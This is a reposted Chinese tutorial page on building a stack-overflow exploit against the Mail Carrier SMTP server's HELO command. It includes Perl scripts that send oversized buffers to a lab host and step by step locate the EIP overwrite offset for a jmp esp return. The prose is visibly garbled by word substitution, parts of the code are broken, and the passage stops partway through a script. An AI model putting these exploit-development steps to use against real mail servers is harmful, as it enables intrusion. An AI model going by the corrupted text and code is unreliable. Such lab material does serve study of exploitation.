设为主页 | 加入收藏 | 繁體中文

菜鸟溢出手册

  以上步伐便是一个简略的溢露马脚检测步伐,其中@cmds数组中是我们想要测试的带参数的下令,我们可以手工填写我们必要测试的下令。$times变量是循环次数的初始值,我们可以在现实当中修改它的值。整个步伐实在很简略,有兴味的朋侪可以去扩充它。
  好了,经过下面简略步伐的检测我们发现了HELO下令要是跟上超长参数的话则会惹起溢出!
  二、溢出点的定位
  既然溢露马脚被我们发现了,下面便是如何利用它了。在继续下面的事变之前我们照旧先温习一下溢出的一些知识吧。关于溢出的原理在曩昔的x档案中的溢出专题里都有先容,大家可以自己去查找,我在这里就不再赘述了。由于我们发现的这个是栈溢出,所以我们有必要再温习一下我们应该如何结构溢出数据。在win系统下我们接纳NNNNNNRSSSSSS的笼罩方法来结构我们的溢出数据。在这里我们是利用win系统下的核心dll力的指令来完成跳转的(windows的系统核心dll包罗kernel32.dll、user32.dll、gdi32.dll。这些dll一直位于内存中,并且固定的版本windows加载的位置也是固定的),我们利用系统核心dll中的jmpesp指令所在的地址笼罩返回地址,而把shellcode紧跟在返回地址的后面,这样就可以跳转到我们的shellcode来实行了。因为,当函数返回时,实行了POPRET,这样EIP为jmpesp的地址;而此时esp恰好指向了后面的shellcode的第一个字节。因此恰好就实行了我们的shellcode。
  OK!必要的知识温习完了我们继续我们的溢出之旅吧!
  经过下面的叙说,我们首先要做的便是定位返回地址,异样我们照旧用perl来进行调试。在假造机中,我们首先翻开mail carrier,新建一个mail server我这里是jack。然后翻开olly,选择文件-》附加-》找到smtpr进程,然后翻开,如图一,等加载完毕后按F9运转它。这个时候我们回到主机中,编辑一个mail.pl文件内容如下:
  Code:
  #!/usr/bin/perl
  #溢出点定位东西 by 孟方明[-273℃]
  $|=1;
  use IO::Socket;
  my $str="111122223333444455556666777788889999";
  my $host="192.168.220.6";
  my $port=25;
  sub genbuf{}#我们当前的修改都在这个过程里
  &attack(&genbuf($str),$host,$port);
  sub attack
  { my ($buf,$host,$port)=@_;
  my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>'tcp');
  $sock->autoflush(1);
  my $res=<$sock>;
  print $res,"\n";
  print "buffer sent are:\n";
  print $buf,"\n";
  print "buffer length is :\n";
  print length($buf),"\n";#再屏幕上打出$buf的长度
  print "now sending...\n";
  print $sock "HELO $buf\r\n";
  $res=<$sock>;
  print $res;
  close $sock;
  }
  [Ctrl+A Select All]
  写完如上代码后,我们当前的工作都将在genbuf这个过程中添加,其它的就不用管了。OK!统统准备就续,Let's go!
  在genbuf中添加如下代码:
  Code:
  sub genbuf{
  my $str=shift;
  my $buf;
  $buf=$str x 300;#把$str的内容反复300次
  return $buf;
  }
  [Ctrl+A Select All]
  我们先反复三百次$str里的内容,而$str里是36个字节。这样的话发送的全部字节一共是:36×300=10800。看一下我们的olly有什么反响吧,如图二。
  细致看olly下面的提示:“拜访违背:写入到0756000”!哦,看样子我们结构的字符串太长了点,不光笼罩了EIP并且还笼罩到了别的使用步伐必要修改的值。这不是我们想要的提示,因此我们必要修改反复次数。这里我们利用普遍被采用的二分法(比如先前的是300,然后改成150,要是照旧不行就再取其一半75,要是75的长度没有笼罩到返回地址,则再将75取一半40然后加上75便是115等等。顺次类推),OK!将反复次数修改为150,这样的话字节总数便是36 × 150=5400。保存修改的文件,然后再溢出一次看看(每次溢出完后为了下一次的溢出调试,我们必要在图一中我指示的那样停掉服务然
  后再开启服务,然后再用olly附加smtpr进程,F9运转。当前都是这样,我不再多说了)。结果如图三所示。
  哈哈!细致看olly下面的提示:“拜访违背:正在实行〔36353535〕”是不是跟前面的不一样了?细致看EIP里的值,是不是很熟悉呢?在十六进制中31-39便是十进制中的1-9。那么EIP里的值现实上便是十进制中的6555。是不是以为挺别扭的?要是都是5的话不就好了?为什么呢?因为在win32系统中EIP存放器是32位长即4个字节,所以我们最好能让EIP的四个字节都是一样的值,这样便于我们下面的定位。OK!如何让它恰好是4个5呢?大家看$str的内容,1-9个数字分别被反复了四次,我们在buffer的前面加一个任意字符,使得后面的所以字符都被后推一个那么EIP里不就恰好是4个5了?说干就干,修改genbuf过程中的以下语句:
  my $buf='a';
  $buf.=$str x 150;
  这样就在我们的buffer前面加了一个字符'a'。再次溢出看看,如图四。
  呵呵,是不是正如我们所说的那样?好了现在EIP里的四个字节的内容都是0x35了。这样我们就可以推测落在返回地址位置的肯定是5,但是详细哪个5我们还无法确定。下面我将除了5以外的所有数字全部用'a'屏蔽掉。我们只必要在return 语句之前添加这样一句就可以完成:“$buf=~s/[^5]/a/g;".这样所有的非5数字就全部被屏蔽了,我们再将第一个"5555"替换为"1111",第二
  个"5555"替换为"2222",顺次类推。这样做的目的是进一步确定是第几个"5555"落在了返回地址的位置上。为了看得直观,我们重新写genbuf过程的代码,将生成的buffer写到一个文件里以便我们比拟,修改后的代码如下:
  Code:
  sub genbuf#我们当前的修改都在这个过程里
  {
  my $str=shift;
  $str.="\n";
  my $buf;
  $buf.=$str x 150;
  my $num=1;
  open(TEMP,">temp.txt");#以写入方法翻开一个临时文件
  print TEMP $buf;#将生成的原始buffer写入文件
  undef($buf);
  close TEMP;
  open(TEMP,"   my @buffer=;#全部读到buffer数组中
  close TEMP;
  my $buf='a';
  foreach(@buffer)
  {  chomp($_);
  s/[^5]/a/g;#将所有非5字符全部替换为a
  s/5{4}/$num x 4/e;#以下3行代码是将所有的5再按照1-9的次序替换
  if($_=~/7777/)#要是该行包罗“7777”
  {
  s/7{4}/$n x 4/e;#开始替换
  $n++;
  $n=1 if($n >9);
  if($_=~/7777/)
  {
  s/7{4}/$nn x 4/e;
  $nn++;
  $nn=1 if ($nn > 9);
  }
  else
  {s/\d/a/g;}
  }
  else
  {s/\d/a/g;}#要是不包罗7,则将非7字符替换为'a
  $num++;
  $num=1 if ($num >9);
  $buf.=$_;
  }
  undef $buffer;
  return $buf;
  }
  [Ctrl+A Select All]
  我们将下面的过程处置惩罚后的buffer打印出来,然后跟我们保存杂文件里的比拟一下,如图五。
  对应关系我都给你指出来了,OK!再一次溢出!如图六。
  哦!这次EIP变成了“37373737”也便是说是4个7落到了EIP里了,但是生成的“7777”照旧很多无法确定是哪个“7777”(可以从图五中的cmd窗口中看出来)。所以我们反复下面的步骤,将非7数字全部用'a'替换,然后把所有的7再从1-9开始替换。在下面的步伐"my $num=1;"后面添加一句“my $n=1;"。
  在“s/5{4}/$num x 4/e;”后添加如下代码:
  Code:
  if($_=~/7777/)#要是该行包罗“7777”
  {
  s/7{4}/$n x 4/e;#开始替换
  $n++;
  $n=1 if($n >9);
  }
  else
  {s/\d/a/g;}#要是不包罗7,则将非7字符替换为'a'
  [Ctrl+A Select All]
  保存步伐后,我们再溢出一次。如图七。
  呵呵,照旧37。看看生成的buffer里面还有两个“7777”,因此我们必需再反复下面的步骤一次将所有非7字符替换为'a',然后再对所有7字符按照1-9次序替换。经过这次替换我们就可以确定出溢出点来了,我把整个gensub过程代码附在下面:
  Code:
  sub genbuf#我们当前的修改都在这个过程里
  {
  my $str=shift;
  $str.="\n";
  my $buf;
  $buf.=$str x 150;
  my $num=1;
  open(TEMP,">temp.txt");#以写入方法翻开一个临时文件


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: